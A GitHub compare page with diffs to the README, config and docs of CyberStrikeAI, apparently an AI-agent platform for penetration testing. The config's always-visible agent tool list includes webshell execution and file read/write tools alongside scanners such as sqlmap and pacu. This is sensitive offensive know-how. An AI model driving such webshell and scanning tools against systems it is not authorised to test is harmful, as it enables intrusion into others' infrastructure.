Compare commits

..
91 Commits
Author SHA1 Message Date
公明andGitHub dbc4ead040 Update config.example.yaml 2026-07-22 21:09:53 +08:00
公明andGitHub 4333cf1dd3 Add files via upload 2026-07-22 21:07:21 +08:00
公明andGitHub 577c97aab0 Add files via upload 2026-07-22 21:04:18 +08:00
公明andGitHub 93ab362b6f Add files via upload 2026-07-22 21:01:56 +08:00
公明andGitHub d9cb0b11c5 Add files via upload 2026-07-22 17:34:24 +08:00
公明andGitHub 2d7f5322b3 Add files via upload 2026-07-22 16:29:24 +08:00
公明andGitHub 3763da8773 Add files via upload 2026-07-22 16:23:57 +08:00
公明andGitHub 3f2984b7c6 Add files via upload 2026-07-22 16:18:33 +08:00
公明andGitHub fbef2afd68 Add files via upload 2026-07-22 14:19:38 +08:00
公明andGitHub bccb324d2b Add files via upload 2026-07-22 14:17:23 +08:00
公明andGitHub b28fba3d68 Add files via upload 2026-07-22 14:14:42 +08:00
公明andGitHub 8059b6d5b2 Add files via upload 2026-07-22 14:12:36 +08:00
公明andGitHub 0821bb2911 Add files via upload 2026-07-22 14:10:44 +08:00
公明andGitHub e407f8203c Add files via upload 2026-07-22 13:59:37 +08:00
公明andGitHub a59253e828 Add files via upload 2026-07-22 13:51:36 +08:00
公明andGitHub 4c989fbbe0 Add files via upload 2026-07-22 13:47:24 +08:00
公明andGitHub 91239c9869 Add files via upload 2026-07-22 13:41:43 +08:00
公明andGitHub 6892156b7c Add files via upload 2026-07-22 13:36:39 +08:00
公明andGitHub 75489123f9 Add files via upload 2026-07-22 11:33:54 +08:00
公明andGitHub 631ee6c447 Add files via upload 2026-07-22 11:30:11 +08:00
公明andGitHub 7caf77683f Add files via upload 2026-07-22 11:27:34 +08:00
公明andGitHub fce4ffe3c4 Add files via upload 2026-07-22 11:11:52 +08:00
公明andGitHub 75163f9269 Add files via upload 2026-07-22 10:37:19 +08:00
公明andGitHub 06a9cea97d Add files via upload 2026-07-22 10:34:42 +08:00
公明andGitHub b62ba3b214 Add files via upload 2026-07-22 10:31:20 +08:00
公明andGitHub 0062cebc6b Update config.example.yaml 2026-07-22 00:17:45 +08:00
公明andGitHub 25ceeb2535 Add files via upload 2026-07-21 23:48:53 +08:00
公明andGitHub 0152781598 Add files via upload 2026-07-21 23:47:17 +08:00
公明andGitHub d3176f048d Add files via upload 2026-07-21 23:43:59 +08:00
公明andGitHub 1fc522298a Add files via upload 2026-07-21 23:42:04 +08:00
公明andGitHub 9464ffe105 Add files via upload 2026-07-21 23:40:49 +08:00
公明andGitHub 599de1da0f Add files via upload 2026-07-21 23:37:51 +08:00
公明andGitHub 1cb64ceaaa Add files via upload 2026-07-21 23:35:23 +08:00
公明andGitHub 97d96d4d8b Add files via upload 2026-07-21 23:32:19 +08:00
公明andGitHub 4bb12bbbdc Add files via upload 2026-07-21 23:30:20 +08:00
公明andGitHub c4a56c1ada Add files via upload 2026-07-21 21:04:53 +08:00
公明andGitHub 8bd42a6f7a Add files via upload 2026-07-21 21:02:45 +08:00
公明andGitHub b54867e383 Add files via upload 2026-07-21 21:00:22 +08:00
公明andGitHub 07229f0fde Add files via upload 2026-07-21 20:57:07 +08:00
公明andGitHub f30e8e7ca6 Add files via upload 2026-07-21 20:54:51 +08:00
公明andGitHub bfe1d28650 Add files via upload 2026-07-21 20:52:43 +08:00
公明andGitHub c925c2e74b Add files via upload 2026-07-21 20:49:10 +08:00
公明andGitHub 4bbbe3bcf8 Add files via upload 2026-07-21 20:46:54 +08:00
公明andGitHub 944957d4c5 Add files via upload 2026-07-21 20:44:32 +08:00
公明andGitHub fa9229b435 Add files via upload 2026-07-21 20:42:43 +08:00
公明andGitHub b707ea4e44 Add files via upload 2026-07-21 16:50:51 +08:00
公明andGitHub 18824857be Add files via upload 2026-07-21 16:43:14 +08:00
公明andGitHub 78c572927b Add files via upload 2026-07-21 16:38:37 +08:00
公明andGitHub cea8d4bcc0 Add files via upload 2026-07-21 16:34:42 +08:00
公明andGitHub 25fac216ea Add files via upload 2026-07-21 16:33:00 +08:00
公明andGitHub e5507ed8d0 Add files via upload 2026-07-21 16:30:07 +08:00
公明andGitHub 22cbc82ccc Add files via upload 2026-07-21 16:26:48 +08:00
公明andGitHub 462aa2fb15 Add files via upload 2026-07-21 16:22:36 +08:00
公明andGitHub b1749ace16 Add files via upload 2026-07-21 16:18:20 +08:00
公明andGitHub 5a48e2893d Add files via upload 2026-07-21 15:23:58 +08:00
公明andGitHub d7181cb1cd Add files via upload 2026-07-21 15:07:52 +08:00
公明andGitHub 2b63e3b633 Add files via upload 2026-07-21 14:15:40 +08:00
公明andGitHub 2de6073d34 Delete skills directory 2026-07-21 14:14:48 +08:00
公明andGitHub ec3f881587 Add files via upload 2026-07-21 11:10:20 +08:00
公明andGitHub b51d428704 Update config.example.yaml 2026-07-20 17:48:53 +08:00
公明andGitHub c50de7770b Add files via upload 2026-07-20 17:38:38 +08:00
公明andGitHub 9bafc2ab98 Add files via upload 2026-07-20 17:31:20 +08:00
公明andGitHub 437bae0b15 Add files via upload 2026-07-20 17:24:14 +08:00
公明andGitHub 083992f63e Add files via upload 2026-07-20 17:19:25 +08:00
公明andGitHub 47dc62ae57 Add files via upload 2026-07-20 17:14:23 +08:00
公明andGitHub c2e1d37058 Add files via upload 2026-07-20 17:05:52 +08:00
公明andGitHub c5f9a5494a Add files via upload 2026-07-20 16:59:31 +08:00
公明andGitHub ef2c3474fe Add files via upload 2026-07-20 16:54:50 +08:00
公明andGitHub c689122774 Add files via upload 2026-07-20 16:49:19 +08:00
公明andGitHub c1ab063b0d Add files via upload 2026-07-20 13:53:36 +08:00
公明andGitHub 75ec563bd3 Add files via upload 2026-07-20 11:47:05 +08:00
公明andGitHub ef8028cfa4 Add files via upload 2026-07-20 11:14:46 +08:00
公明andGitHub fa76ebce71 Add files via upload 2026-07-20 11:07:58 +08:00
公明andGitHub b9e1d7b7a8 Add files via upload 2026-07-20 10:52:00 +08:00
公明andGitHub 9a269ac0ec Add files via upload 2026-07-20 10:49:40 +08:00
公明andGitHub cb0d61a48d Add files via upload 2026-07-20 10:48:28 +08:00
公明andGitHub b7f9fa6173 Add files via upload 2026-07-17 18:04:27 +08:00
公明andGitHub 00283d5300 Add files via upload 2026-07-17 17:23:01 +08:00
公明andGitHub e00e53808b Add files via upload 2026-07-17 17:19:58 +08:00
公明andGitHub c915abf310 Add files via upload 2026-07-17 17:17:10 +08:00
公明andGitHub 5a282c8ed9 Add files via upload 2026-07-17 17:14:09 +08:00
公明andGitHub 1f3472955c Add files via upload 2026-07-17 17:11:16 +08:00
公明andGitHub 1923f7710a Add files via upload 2026-07-17 17:08:27 +08:00
公明andGitHub 833e8f13ce Add files via upload 2026-07-17 17:07:01 +08:00
公明andGitHub 79941207b9 Add files via upload 2026-07-17 17:03:30 +08:00
公明andGitHub 1858f4533a Add files via upload 2026-07-17 17:00:28 +08:00
公明andGitHub 3bb8efc892 Add files via upload 2026-07-17 16:56:22 +08:00
公明andGitHub b0d3ed8a87 Add files via upload 2026-07-17 16:53:06 +08:00
公明andGitHub 9f092388e1 Add files via upload 2026-07-17 16:51:35 +08:00
公明andGitHub 217f8f9648 Add files via upload 2026-07-17 10:53:24 +08:00
公明andGitHub 0b638791eb Add files via upload 2026-07-17 10:51:59 +08:00
154 changed files with 15672 additions and 8395 deletions
+4 -3
View File
@@ -118,6 +118,7 @@ CyberStrikeAI connects planning, execution, human oversight, evidence, and repla
- 🧰 **Security tools** include 100+ curated YAML recipes with custom extensions and role-scoped access.
- 🔌 **MCP integration** supports HTTP, stdio, SSE, external federation, and dynamic tool discovery.
- ⏱️ **Resilient tool execution** runs blocking MCP/tool calls in workers with bounded agent waits, resumable `execution_id` polling, cancellation, per-server circuit breakers, concurrency limits, and unified output caps.
- 🎯 **Agent Skills** follow the standard Skill layout and support progressive, on-demand loading.
- 📚 **Knowledge base** combines query rewriting, vector retrieval, reranking, and result post-processing.
- 🖼️ **Vision analysis** uses a separate vision model for screenshots, captchas, and UI while retaining text summaries only.
@@ -127,13 +128,13 @@ CyberStrikeAI connects planning, execution, human oversight, evidence, and repla
- 🧑‍⚖️ **Human in the loop** provides approval modes, tool allowlists, audit-agent review, and traceable decisions.
- 🔐 **Platform RBAC** supports multiple users, system and custom roles, scoped permissions, ownership, and explicit assignments.
- 🔒 **Security and audit** provide authenticated access, audit logs, SQLite persistence, and operational evidence retention.
- 📄 **Result governance** supports pagination, compression, archival, and search for large tool outputs.
- 📄 **Result governance** stores the same capped tool result seen by the agent, protects resume paths from oversized historical output, and adds UI safeguards for large detail views. See [Tool Execution Governance](docs/en-US/tool-execution-governance.md).
### Security operations
- 📁 **Conversation management** provides grouping, pinning, renaming, and batch organization.
- 📂 **Projects and attack chains** connect cross-session facts, risk scoring, graph views, and step-by-step replay.
- 🗂️ **Asset management** normalizes and deduplicates domains, IP addresses, ports, and services while tracking scan coverage, linked vulnerabilities, and risk state. See the [Asset Management guide](docs/en-US/asset-management.md).
- 🗂️ **Asset management** normalizes and deduplicates domains, IP addresses, ports, and services; supports XLSX/CSV import and export, advanced filters and saved views, ownership and business metadata, cross-page bulk maintenance, and duplicate merging; and tracks scan coverage, linked vulnerabilities, and risk state. See the [Asset Management guide](docs/en-US/asset-management.md).
- 🛡️ **Vulnerability management** provides severity classification, lifecycle tracking, filtering, and statistics.
- 📋 **Batch tasks** provide queued execution, editing, status tracking, and retained results.
- 📱 **Chatbots** connect Personal WeChat, WeCom, DingTalk, Lark, Telegram, Slack, Discord, and QQ Bot.
@@ -169,7 +170,7 @@ CyberStrikeAI ships with 100+ curated tools covering the whole kill chain:
- **Web & App Scanners** sqlmap, nikto, dirb, gobuster, feroxbuster, ffuf, httpx
- **Vulnerability Scanners** nuclei, wpscan, wafw00f, dalfox, xsser
- **Subdomain Enumeration** subfinder, amass, findomain, dnsenum, fierce
- **Network Space Search Engines** fofa_search, zoomeye_search
- **Network Space Search Engines** fofa_search, zoomeye_search, quake_search, shodan_search
- **API Security** graphql-scanner, arjun, api-fuzzer, api-schema-analyzer
- **Container Security** trivy, clair, docker-bench-security, kube-bench, kube-hunter
- **Cloud Security** prowler, scout-suite, cloudmapper, pacu, terrascan, checkov
+4 -3
View File
@@ -117,6 +117,7 @@ CyberStrikeAI 将规划、执行、人工监督、证据与复盘连接在同一
- 🧰 **安全工具**:提供 100+ 精选 YAML 工具配方,支持自定义扩展和按角色控制。
- 🔌 **MCP 集成**:支持 HTTP、stdio、SSE、外部 MCP 联邦和动态工具发现。
- ⏱️ **弹性工具执行**:阻塞型 MCP/工具调用交给 worker 执行,Agent 只有限等待;支持 `execution_id` 多轮等待、主动取消、单 server 熔断、并发限制和统一输出兜底。
- 🎯 **Agent Skills**:遵循标准 Skill 目录结构,支持渐进式按需加载。
- 📚 **知识库**:组合查询改写、向量检索、精排和结果后处理能力。
- 🖼️ **视觉分析**:使用独立视觉模型分析截图、验证码和 UI,对话中仅保留文字摘要。
@@ -126,13 +127,13 @@ CyberStrikeAI 将规划、执行、人工监督、证据与复盘连接在同一
- 🧑‍⚖️ **人机协同**:支持审批模式、工具白名单、审计 Agent 复核和决策追踪。
- 🔐 **平台 RBAC**:支持多用户、系统及自定义角色、权限 Scope、资源归属和显式授权。
- 🔒 **安全与审计**:提供登录保护、审计日志、SQLite 持久化和行动证据留存。
- 📄 **结果治理**支持大结果分页、压缩、归档和检索
- 📄 **结果治理**数据库保存与 Agent 实际看到的同一份兜底后工具结果,恢复路径会再次防御历史超大输出,前端详情也有展示保护。详见[工具执行治理](docs/zh-CN/tool-execution-governance.md)
### 安全运营管理
- 📁 **对话管理**:支持分组、置顶、重命名和批量管理。
- 📂 **项目与攻击链**:关联跨会话事实、风险评分、图谱视图和步骤回放。
- 🗂️ **资产管理**:统一归档和去重域名、IP、端口与服务,跟踪扫描覆盖、关联漏洞和风险状态。详见[资产管理指南](docs/zh-CN/asset-management.md)。
- 🗂️ **资产管理**:统一归档和去重域名、IP、端口与服务,支持 XLSX/CSV 导入导出、高级筛选与保存视图、责任和业务属性、跨页批量维护、重复资产合并,并跟踪扫描覆盖、关联漏洞和风险状态。详见[资产管理指南](docs/zh-CN/asset-management.md)。
- 🛡️ **漏洞管理**:支持严重程度分级、状态流转、过滤和统计看板。
- 📋 **批量任务**:支持任务队列、编辑、状态跟踪和结果留存。
- 📱 **机器人接入**:支持个人微信、企业微信、钉钉、飞书、Telegram、Slack、Discord 和 QQ。
@@ -168,7 +169,7 @@ CyberStrikeAI 将规划、执行、人工监督、证据与复盘连接在同一
- **Web 应用扫描**sqlmap、nikto、dirb、gobuster、feroxbuster、ffuf、httpx
- **漏洞扫描**nuclei、wpscan、wafw00f、dalfox、xsser
- **子域名枚举**subfinder、amass、findomain、dnsenum、fierce
- **网络空间搜索引擎**fofa_search、zoomeye_search
- **网络空间搜索引擎**fofa_search、zoomeye_search、quake_search、shodan_search
- **API 安全**graphql-scanner、arjun、api-fuzzer、api-schema-analyzer
- **容器安全**trivy、clair、docker-bench-security、kube-bench、kube-hunter
- **云安全**prowler、scout-suite、cloudmapper、pacu、terrascan、checkov
+1
View File
@@ -34,6 +34,7 @@ func main() {
// 注册工具
executor.RegisterTools(mcpServer)
mcp.RegisterExecutionControlTools(mcpServer, nil)
log.Logger.Info("MCP服务器(stdio模式)已启动,等待消息...")
+9 -2
View File
@@ -17,10 +17,15 @@ import (
func main() {
var configPath = flag.String("config", "config.yaml", "配置文件路径")
var httpsBootstrap = flag.Bool("https", false, "启用主站 HTTPS:未配置 tls_cert_path/tls_key_path 时使用内存自签证书(本地测试);与 run.sh 默认行为一致")
var httpBootstrap = flag.Bool("http", false, "强制主站使用明文 HTTP:覆盖配置文件中的 tls_enabled/tls_auto_self_sign/tls_cert_path/tls_key_path")
flag.Parse()
// 环境变量兼容(便于 systemd/docker 等不传参场景)
if !*httpsBootstrap {
if *httpsBootstrap && *httpBootstrap {
fmt.Fprintln(os.Stderr, "--http 与 --https 不能同时使用")
os.Exit(2)
}
if !*httpsBootstrap && !*httpBootstrap {
v := strings.TrimSpace(os.Getenv("CYBERSTRIKE_HTTPS"))
if v == "1" || strings.EqualFold(v, "true") || strings.EqualFold(v, "yes") {
*httpsBootstrap = true
@@ -51,7 +56,9 @@ func main() {
termout.PrintConfigCreated()
}
if *httpsBootstrap {
if *httpBootstrap {
config.ApplyPlainHTTPBootstrap(cfg)
} else if *httpsBootstrap {
config.ApplyDevHTTPSBootstrap(cfg)
}
+23 -10
View File
@@ -10,7 +10,7 @@
# ============================================
# 前端显示的版本号(可选,不填则显示默认版本)
version: "v1.7.4"
version: "v1.7.7"
# 服务器配置
server:
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
@@ -66,7 +66,7 @@ openai:
max_completion_tokens: 16384 # 单次生成上限(含 reasoning 与可见输出),防止依赖网关隐式默认值
# Eino 路径模型推理:DeepSeek/OpenAI 为 thinking / reasoning_effortClaude 4.6+ 为 adaptive + output_config.effort(仅显式配置 effort 时下发);3.7 为 enabled+budget_tokens:10000(文档示例),effort 不映射,自定义预算用 extra_request_fields
reasoning:
mode: on # auto | on | offoff 时不附加任何推理扩展字段
mode: on # auto | on | offoffOpenAI/Claude 不附加推理字段,DeepSeek 发送 thinking.type=disabled(其默认开启思考)
effort: high # low | medium | high | max | xhigh(最高档:OpenAI 常用 xhigh,部分网关用 max,原样下发);空表示不指定
allow_client_reasoning: true # false 时忽略对话请求体 reasoning,仅以下方为准
profile: openai_compat # auto | deepseek_compat | openai_compat | output_config_effort
@@ -86,19 +86,32 @@ vision:
detail: auto # low | high | autoEino ImageURLDetail
timeout_seconds: 60
# ============================================
# 信息收集(FOFA)配置(可选)
# 资产管理(网络空间测绘搜索)配置(可选)
# ============================================
# 用于「信息收集」页面调用 FOFA API(后端代理,避免前端暴露 key)
# 也可通过环境变量配置:FOFA_EMAIL / FOFA_API_KEY优先级更高
# 用于「资产管理 → 信息收集」页面调用 FOFA / ZoomEye / Quake / Shodan API
# 后端代理请求,避免前端暴露 key;环境变量优先级更高
fofa:
base_url: https://fofa.info/api/v1/search/all # 可选,留空则使用默认
email: "" # FOFA 账号邮箱(可选,建议在系统设置中填写)
api_key: "" # FOFA API Key(可选,建议在系统设置中填写)
zoomeye:
base_url: https://api.zoomeye.org/v2/search # 可选,留空则使用默认
api_key: "" # ZoomEye API Key;也可通过 ZOOMEYE_API_KEY 环境变量配置
quake:
base_url: https://quake.360.cn/api/v3/search/quake_service # 可选,留空则使用默认
api_key: "" # Quake API Token;也可通过 QUAKE_API_KEY 环境变量配置
shodan:
base_url: https://api.shodan.io # 可选,留空则使用默认
api_key: "" # Shodan API Key;也可通过 SHODAN_API_KEY 环境变量配置
# Agent 配置
# 达到最大迭代次数时,AI 会自动总结测试结果
agent:
max_iterations: 12000 # 全局最大迭代次数(单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用;agents/*.md 中 max_iterations>0 可单独覆盖)
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
tool_wait_timeout_seconds: 300 # 工具本轮最多等待(秒);到时返回 execution_idworker 继续后台执行,可用 wait_tool_execution 继续等待;0=等到完成
external_mcp_max_concurrent_per_server: 5 # 单个外部 MCP server 同时运行的工具数;0=默认2;负数=不限制
external_mcp_max_concurrent_total: 16 # 所有外部 MCP 工具全局并发上限;0=默认16;负数=不限制
external_mcp_circuit_failure_threshold: 5 # 单个外部 MCP server 连续失败多少次后熔断;0=默认3;负数=关闭熔断
external_mcp_circuit_cooldown_seconds: 60 # 熔断冷却秒数;0=默认60
shell_no_output_timeout_seconds: 1200 # execute/exec 连续无新输出则终止(秒);通用防挂死;0=默认300;-1=关闭
workspace_root_dir: "" # 会话工作目录根路径(curl/wget 下载、read_file/glob/grep 本地分析);空=tmp/workspace,其下按 projects/{id} 或 conversations/{id} 隔离;勿用系统 /tmp
# system_prompt_path: prompts/single-agent.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示
@@ -206,13 +219,13 @@ multi_agent:
tool_search_enable: true # true:工具数 ≥ min 时启用 tool_search,仅前 N 个工具常驻,其余按正则按需解锁,省 token、减误选;false:全量工具进上下文
tool_search_min_tools: 20 # 达到该数量才启用 tool_search(避免工具很少时多此一举);与 always_visible 配合使用
tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数(顺序与角色工具列表一致);其余工具进入动态池,需 tool_search 解锁
tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test, exec] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, get_tool_execution, wait_tool_execution, cancel_tool_execution, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test, exec] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
plantask_enable: true # P0:主代理挂载 TaskCreate/Get/Update/List 结构化任务板;需 eino_skills 可用且 skills_dir 存在
plantask_rel_dir: .eino/plantask # 任务文件相对 skills_dir,按会话分子目录:skills/.eino/plantask/<conversationId>/
reduction_enable: true # true:大工具输出截断/落盘以控上下文;后端会独立创建,不依赖 eino_skills 是否启用
reduction_max_length_for_trunc: 50000 # 单条工具结果超过该字符数(bytes)时截断并落盘(由 reduction 中间件处理
reduction_enable: true # true:大工具输出截断落盘到本地文件(tmp/reduction/.../trunc/<id>),上下文只留 <persisted-output> 预览;不依赖 eino_skills
reduction_max_length_for_trunc: 100000 # 单条工具结果超过该字节数时:全文写入本地 trunc 文件,返回带路径的截断预览(MCP/exec 与 reduction 共用此阈值
reduction_max_tokens_for_clear: 60000 # 历史工具结果清理阈值(tokens),应低于 max_total_tokens * summarization_trigger_ratio
reduction_root_dir: "" # 非空:截断/清理内容落盘根路径;空:使用系统临时目录下按会话隔离的默认路径
reduction_root_dir: "" # 非空:截断/清理内容落盘根路径;空:项目目录下 tmp/reduction(按会话/项目隔离)
reduction_clear_exclude: [] # 不参与「清理阶段」的工具名额外列表(会与 task/transfer/exit 等内置排除项合并);需要时用 YAML 列表填写
reduction_sub_agents: true # true:子代理也挂 reductionfalse:仅编排主代理使用 reduction
summarization_trigger_ratio: 0.8 # summarization 触发比例(max_total_tokens * ratio),建议 0.75~0.85
+2
View File
@@ -21,6 +21,7 @@ CyberStrikeAI documentation is organized by user journey. Start with deployment,
- [Skills 指南](zh-CN/skills-guide.md)
- [Eino 多代理](zh-CN/MULTI_AGENT_EINO.md)
- [工作流](zh-CN/workflow-graph.md)
- [工具执行治理](zh-CN/tool-execution-governance.md)
- [人机协同最佳实践](zh-CN/hitl-best-practices.md)
### 功能指南
@@ -58,6 +59,7 @@ CyberStrikeAI documentation is organized by user journey. Start with deployment,
- [Skills](en-US/skills-guide.md)
- [Eino Multi-Agent](en-US/MULTI_AGENT_EINO.md)
- [Workflows](en-US/workflow-graph.md)
- [Tool Execution Governance](en-US/tool-execution-governance.md)
- [HITL Best Practices](en-US/hitl-best-practices.md)
### Feature guides
+1 -1
View File
@@ -13,7 +13,7 @@
- [Architecture](architecture.md) · [Security Model](security-model.md) · [RBAC](rbac.md)
- [Agents and Roles](agent-and-role-guide.md) · [Skills](skills-guide.md) · [Eino Multi-Agent](MULTI_AGENT_EINO.md)
- [Workflows](workflow-graph.md) · [HITL Best Practices](hitl-best-practices.md)
- [Workflows](workflow-graph.md) · [Tool Execution Governance](tool-execution-governance.md) · [HITL Best Practices](hitl-best-practices.md)
## Feature guides
+49
View File
@@ -151,3 +151,52 @@ curl -k "https://127.0.0.1:8080/api/audit/logs/export" \
```
Exported logs may contain sensitive operational data. Store encrypted.
## Recipe 11: Bulk Import Assets
Create `assets.json`:
```json
{
"source": "api-import",
"source_query": "cmdb-export-2026-07",
"assets": [
{
"domain": "app.example.com",
"port": 443,
"protocol": "https",
"tags": ["production", "internet"],
"status": "active"
},
{
"ip": "192.0.2.10",
"port": 22,
"protocol": "ssh",
"status": "active"
}
]
}
```
Submit it:
```bash
curl -k https://127.0.0.1:8080/api/assets/import \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data-binary @assets.json
```
Example response:
```json
{"created":2,"updated":0,"skipped":0}
```
Notes:
- The caller needs `asset:write`.
- Each asset requires at least one of `host`, `ip`, or `domain`.
- One request supports up to 100,000 assets. For large payloads, use a file with `--data-binary` instead of embedding JSON in the command line.
- An existing “target + port + protocol” is merged and counted in `updated`.
- To work from XLSX/CSV, use **Asset Inventory → Bulk Import** in the Web UI. The API itself accepts JSON rather than multipart files.
+130
View File
@@ -55,6 +55,132 @@ Streaming endpoints are long-lived. Clients should:
- disable proxy buffering;
- pass `conversationId` when continuing a conversation.
## Asset Management and Bulk Import
Asset endpoints:
- `GET /api/assets`: list and filter assets;
- `GET /api/assets/selection`: resolve cross-page selection from the current filters, up to 10,000 rows;
- `GET /api/assets/stats`: retrieve statistics; `days` accepts only `7`, `30`, or `90`;
- `POST /api/assets/import`: create or deduplicate and update up to 100,000 assets;
- `POST /api/assets/scan-links`: record up to 10,000 scan links;
- `PUT /api/assets/bulk`: atomically update up to 10,000 assets;
- `PUT /api/assets/project-binding`: bind up to 10,000 asset IDs to a project;
- `POST /api/assets/batch-delete`: atomically delete up to 10,000 assets;
- `POST /api/assets/merge`: merge 2-100 duplicate assets with a shared identity;
- `PUT /api/assets/:id`: update an asset;
- `DELETE /api/assets/:id`: delete an asset.
`GET /api/assets` and `GET /api/assets/selection` share filters and sorting. `selection` ignores pagination and returns all matching rows, up to 10,000:
| Category | Parameters |
| --- | --- |
| Pagination (list only) | `page`, `page_size` (maximum: 100) |
| Common | `q`, `status`, `project_id`, `risk_level`, `min_vulnerabilities`, `max_vulnerabilities` |
| Target and source | `host`, `ip`, `domain`, `port`, `protocol`, `source`, `tag` |
| Responsibility and business | `responsible_person`, `department`, `business_system`, `environment`, `criticality` |
| Location | `country`, `province`, `city` |
| Scan | `scan_state=never|scanned`, `scan_overdue_days`, `last_scan_before`, `last_scan_after` |
| Discovery time | `first_seen_before`, `first_seen_after`, `last_seen_before`, `last_seen_after` |
| Sort | `sort_by`, `sort_order=asc|desc` |
Time parameters accept RFC3339 or `YYYY-MM-DD`. Supported `sort_by` values are `last_seen_at`, `last_scan_at`, `first_seen_at`, `created_at`, `updated_at`, `host`, `port`, `risk_level`, and `vulnerability_count`.
`POST /api/assets/import` accepts JSON, not an XLSX/CSV upload. The Web UI parses the template in the browser, previews it, and converts valid rows to this request:
```http
POST /api/assets/import
Authorization: Bearer <token>
Content-Type: application/json
{
"source": "manual-import",
"source_query": "asset-import-2026-07.xlsx",
"assets": [
{
"host": "https://app.example.com:443",
"domain": "app.example.com",
"port": 443,
"protocol": "https",
"title": "Example App",
"server": "nginx",
"project_id": "<project-id>",
"responsible_person": "Alice",
"department": "Security",
"business_system": "Customer Portal",
"environment": "production",
"criticality": "critical",
"tags": ["production", "internet"],
"status": "active"
},
{
"ip": "192.0.2.10",
"port": 22,
"protocol": "ssh",
"status": "active"
}
]
}
```
Request rules:
- `assets` must contain between 1 and 100,000 entries;
- at least one of `host`, `ip`, or `domain` must be non-empty for each asset;
- `port` must be between `0` and `65535`;
- `status` must be `active` or `inactive`;
- `environment` may be empty or `production`, `staging`, `testing`, `development`, or `other`;
- `criticality` may be empty or `critical`, `high`, `medium`, or `low`;
- an asset may have up to 30 tags, each no longer than 64 characters;
- a non-empty `project_id` must reference a project accessible to the caller;
- the caller needs `asset:write`;
- the server deduplicates by “target + port + protocol” and processes the request in one transaction.
Successful response:
```json
{
"created": 120,
"updated": 8,
"skipped": 2
}
```
`created` counts new records, `updated` counts deduplicated merges, and `skipped` counts empty or inaccessible existing records. Validation errors return `400` with the failing asset position in `error`; inaccessible projects return `403`. See [Asset Management](asset-management.md#import-from-a-spreadsheet) for the template and UI workflow.
Bulk edit example:
```http
PUT /api/assets/bulk
Content-Type: application/json
{
"asset_ids": ["<asset-id-1>", "<asset-id-2>"],
"responsible_person": "Alice",
"department": "Security",
"environment": "production",
"criticality": "high",
"add_tags": ["internet-facing"],
"remove_tags": ["untriaged"]
}
```
All patch fields are optional; omitted fields retain their current values. `add_tags` and `remove_tags` are deduplicated inside the transaction. Bulk edit, project binding, and batch deletion validate access to every requested asset first, so a missing or inaccessible ID fails the entire operation.
Duplicate merge example:
```http
POST /api/assets/merge
Content-Type: application/json
{
"asset_ids": ["<primary-id>", "<duplicate-id>"],
"primary_id": "<primary-id>"
}
```
Every record being removed must share a domain, IP address, or Host with the primary asset. Existing primary values win, empty fields are filled from the other records, and tags are unioned. The caller needs permission to update the primary and delete the other assets.
## Stability Tiers
| API type | Stability | Recommendation |
@@ -62,6 +188,7 @@ Streaming endpoints are long-lived. Clients should:
| `/api/auth/*` | high | safe to integrate |
| `/api/eino-agent*` | high | preferred chat entry |
| `/api/openapi/spec` | high | client generation |
| `/api/assets/*` | high | asset management and bulk import |
| `/api/config*` | medium | admin automation only |
| `/api/c2/*`, `/api/webshell/*` | medium | high-risk, restrict access |
| frontend private calls | low | avoid plugin dependency |
@@ -70,6 +197,7 @@ Streaming endpoints are long-lived. Clients should:
- Conversations: `/api/conversations`
- Projects/facts: `/api/projects`
- Assets and bulk import: `/api/assets`
- Vulnerabilities: `/api/vulnerabilities`
- Knowledge: `/api/knowledge/*`
- Roles: `/api/roles`
@@ -101,3 +229,5 @@ curl -k https://127.0.0.1:8080/api/eino-agent \
- OpenAPI: `internal/handler/openapi.go`
- Single-agent: `internal/handler/eino_single_agent.go`
- Multi-agent: `internal/handler/multi_agent.go`
- Asset endpoints: `internal/handler/asset.go`
- Asset storage and deduplication: `internal/database/asset.go`
+100 -17
View File
@@ -2,7 +2,7 @@
[中文](../zh-CN/asset-management.md)
Asset management consolidates domains, IP addresses, ports, and services discovered through manual entry, FOFA, HTTP APIs, and Agent tasks into a maintainable baseline. It answers three questions: what assets exist, which assets have been assessed, and where risk is concentrated.
Asset management consolidates domains, IP addresses, ports, and services discovered through manual entry, network-space search engines, HTTP APIs, and Agent tasks into a maintainable baseline. It answers three questions: what assets exist, which assets have been assessed, and where risk is concentrated.
> This feature is designed for security testing and attack-surface governance. It is not a replacement for a full enterprise CMDB. Add and scan only systems you own or are explicitly authorized to test.
@@ -11,11 +11,13 @@ Asset management consolidates domains, IP addresses, ports, and services discove
Asset management provides three main views:
- **Overview**: asset totals, IPs, domains, ports, recent changes, scan coverage, and protocol distribution.
- **Asset inventory**: identity, service details, source, tags, project ownership, scan history, and risk state.
- **Reconnaissance**: search FOFA and save confirmed results individually or in batches.
